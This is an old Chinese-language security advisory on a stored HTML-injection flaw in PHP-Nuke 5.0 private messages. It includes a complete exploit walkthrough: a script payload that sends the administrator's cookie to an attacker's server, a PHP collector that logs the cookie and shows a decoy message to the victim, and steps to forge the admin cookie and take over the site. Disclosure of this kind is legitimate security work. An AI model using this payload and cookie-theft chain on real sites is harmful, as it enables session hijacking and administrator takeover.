PHP-Nuke个人消息存在HTML插入漏洞发布时间:2002-08-21 更新时间:2002-08-21 严重程度:高 威胁程度:控制应用程序系统 错误类型:输入验证错误 利用方式:服务器模式 BUGTRAQ ID:5476 受影响系统 Francisco Burzi PHP-Nuke 5.0详细描述 PHP-Nuke是基于WEB的管理创建程序,由PHP编写。 PHP-Nuke允许用户发送个人消息给其他用户,但对这些消息中的内容缺少正确检查,攻击者可以插入任意HTML代码,发送消息给如管理员,可导致管理员的COOKIE等信息泄露。 其中COOKIE信息包含MD5加密后的信息,用户通过更改COOKIE字段中的信息,插入管理员COOKIE中的MD5加密后信息,再访问系统可导致以管理员权限访问系统。 测试代码 1,在自己服务器上建立如下文件: cookie.php: <? $fp = fopen("cookie.txt","a"); fputs($fp, $cookie); fclose($fp); print "Message Not Found!"; /* this is so the admin doesnt get scared. and thinks its some bug. */ ?> test.php: <? $admin = base64_encode("decoded_string") ; setcookie("admin","$admin",time()+2592000); ?> 2,发送个人消息给管理员,消息包含: <script>document.location.replace('http://yourserver/cookie.php?cookie='+doc ument.cookie);</script> 3,等待管理员点击然后检查获得COOKIE.TXT内容。 4,复制从admin=到;的内容。 5,http://www.isecurelabs.com/base64.php在这个地址进行BASE64加密,获得如下字符串: username:md5_encrypted_passwd:language (language可以为空白). 6,粘贴编码字符串到test.php如: <? $admin = base64_encode("paste decoded string here"); setcookie("admin","$admin",time()+2592000); ?> 7,以任意用户登陆。 8,发送个人消息给自己,包含: <iframe src="http://yerserver/test.php"></iframe> 打开消息,然后COOKIE会设置你电脑中,然后编辑相关COOKIE信息把你自己的URL更改为PHPNUKE站点的URL。 9,重新启动浏览器访问PHPNUKE,你就成为管理员。 解决方案 无 相关信息 "<-delusion->" <delusi0n@bellsouth.net>. 参考:http://online.securityfocus.com/archive/1/287496 相关主页:http://phpnuke.org/ |